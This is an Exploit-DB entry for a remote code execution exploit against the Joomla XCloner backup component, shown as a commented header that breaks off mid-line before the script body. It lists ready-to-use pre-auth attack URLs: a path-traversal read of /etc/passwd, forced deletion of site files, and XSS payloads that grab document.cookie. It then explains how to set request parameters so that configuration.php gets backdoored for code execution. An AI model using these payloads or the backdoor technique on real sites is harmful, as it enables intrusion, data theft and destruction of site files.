Exploit-DB #16246
Description: Joomla! Component com_xcloner-backupandrestore - Remote Command Execution
Type: webapps
Platform: php
Date: 2011-02-25
Author: mr_me

Exploit:
#!/usr/bin/python
#
# Joomla component (com_xcloner-backupandrestore) remote code execution exploit 
# Vendor: http://www.xcloner.com/
#
# "Our true divinity is in our ability to create. And armed with the understanding of the symbiotic connections
# of life, while being guided by the emergent nature of reality, there is nothing we cannot do or accomplish." 
# - Zeitgeist addendum
# 
# Target Environment Settings:
# ============================
# register_globals = On/Off (doesnt matter)
#
# Description:
# ============
# XCloner is a Website Backup and Restore application designed for PHP/Mysql websites, it can work as a native plugin for WordPress and Joomla!. 
# XCloner design was specifically created to Generate custom backups of any LAMP website through custom admin inputs, and to be able to Restore 
# the clone on any other location with the help of the automatic Restore script we provide, independent from the main package!
# 
# XCloner Backup tool uses Open Source standards like TAR and Mysql formats so you can rest assured your backups can be restored in a variety 
# of ways, giving you more flexibility and full control.
# 
# Vulnerability List (wordpress/joomla) & Explanation:
# ====================================================
# Here is the list of pre - auth vulns o.O:
# 
# Information Disclosure with phpinfo()
# http://[target]/[path]/wp-content/plugins/xcloner-backup-and-restore/restore/XCloner.php?task=info
# http://[target]/[path]/administrator/components/com_xcloner-backupandrestore/restore/XCloner.php?task=info
#
# Local File Inclusion:
# http://[target]/[path]/wp-content/plugins/xcloner-backup-and-restore/cloner.cron.php?config=../../../../../../../../etc/passwd
# http://[target]/[path]/administrator/components/com_xcloner-backupandrestore/cloner.cron.php?config=../../../../../../../../etc/passwd
#
# DoS/damage by calling unlink() on wordpress/joomla files:
# http://[target]/[wp path]/wp-content/plugins/xcloner-backup-and-restore/restore/XCloner.php?task=step2&output_path=[path]/[file]
# http://[target]/[path]/administrator/components/com_xcloner-backupandrestore/restore/XCloner.php?task=step2&output_path=[path]/[file]
#
# XSS:
# http://[target]/[path]/wp-content/plugins/xcloner-backup-and-restore/index2.php?option=com_cloner&mosmsg=<script>alert(document.cookie)</script>
# http://[target]/[path]/wp-content/plugins/xcloner-backup-and-restore/index2.php?username=adsc&[CREDENTIAL_REDACTED]=com_cloner
# ";alert(document.cookie)//&task=dologin&boxchecked=0&hidemainmenu=0
# http://[target]/[path]/administrator/components/com_xcloner-backupandrestore/index2.php?option=com_cloner&mosmsg=
# <script>alert(document.cookie)</script>
#
# Not to mention the post - auth bugs...... but the most potent, pre-auth rce (joomla only). Enough yip yap, here we go....
#
# By accessing the XCloner.php page, the webmaster is presented an important message: "Security Note: After restore delete the 
# XCloner.php script from your server". So my understanding is that the vulnerable code in this file, is sitting on web servers 
# without requiring authentication to access until a restore happens. o.O. Below is an explanation of the vulnerable code, sorry but 
# this is going to be long:
# 
# The XCloner.php script begins by setting the array element 'output_path' of $_CONFIG to our input on line 72:
# 
# $_CONFIG['output_path'] = $_REQUEST['output_path'];
# 
# Later on we see a simple switch on lines 134-150 on our task parameter
#
# switch ($_REQUEST[task]) {
#    case 'step2':
#         step2();
#         break;
#
# We follow the case "step2" switch and land into that function (step2()) defined on lines 178-?. Inside that function we set the 
# $_CONFIG array to global. The attacker must make sure that they DO NOT set the 'DBcreated' or 'transfer_mode' variable to 'on' or '2' 
# (respectively) as it will kill our script when if it fails to connect to the database or FTP server. This is important to note, 
# you will see later on.
#
# function step2($file=""){
#  
#     global $_CONFIG,$filepath ;
#     $DBcreated    = $_REQUEST[DBcreated];
#  
#     if ($DBcreated=='on'){
# 
#	-- snip --
#
#         $db = @mysql_connect($DBhostname, $DBuserName, $DBpassword) or die("<br />The database details provided are incor... blah blah
# 
#	-- snip --
# 
# if($_REQUEST[transfer_mode]==2){
#  
#	-- snip --
# 
#        // set up basic connection
#        $conn_id = @ftp_connect($_REQUEST[ftp_server], $_REQUEST[ftp_port]) or die("<span class='error'>Could not connect to .. blah blah
#
# We keep looking and we see something interesting on lines 473 - 483
# 
#     if(($_REQUEST['do_database'] != 1) || ($_REQUEST['files_skip'] == 1)){
#         $config_file = $_CONFIG[output_path]."/configuration.php";
#         @chmod($config_file,0777);
#         @unlink($_CONFIG[output_path]."/administrator/backups/perm.txt");
#         if(($_CONFIG['sql_usefile'] == "database-sql.sql") and ($update_config))
#             if(write_config($config_file)){
#                 echo "<H2>Configuration updated!</H2>";
#             }else{
#                 echo "<span class='error'>Unable to write to configuration file $config_file... Aborting...</span>";return;
#             }
#         }
# 
# So an attacker must ensure that our request does not contain any 'do_database' variable or have the 'files_skip' variable containing a 
# value of '1'. If the attacker calls the configuration.php with a null byte (../../../../configuration.php%00) then the unlink() will be 
# triggered and delete the config file we are trying to backdoor! So the attacker can specify the 'output_path' variable to 
# '../../../../' instead and simply let the application append the 'configuration.php'. Now lets break down the call to write_config() 
# which is defined at line 547 
# 
# function write_config($file){
# echo "made it here";
#     if(@$fp = fop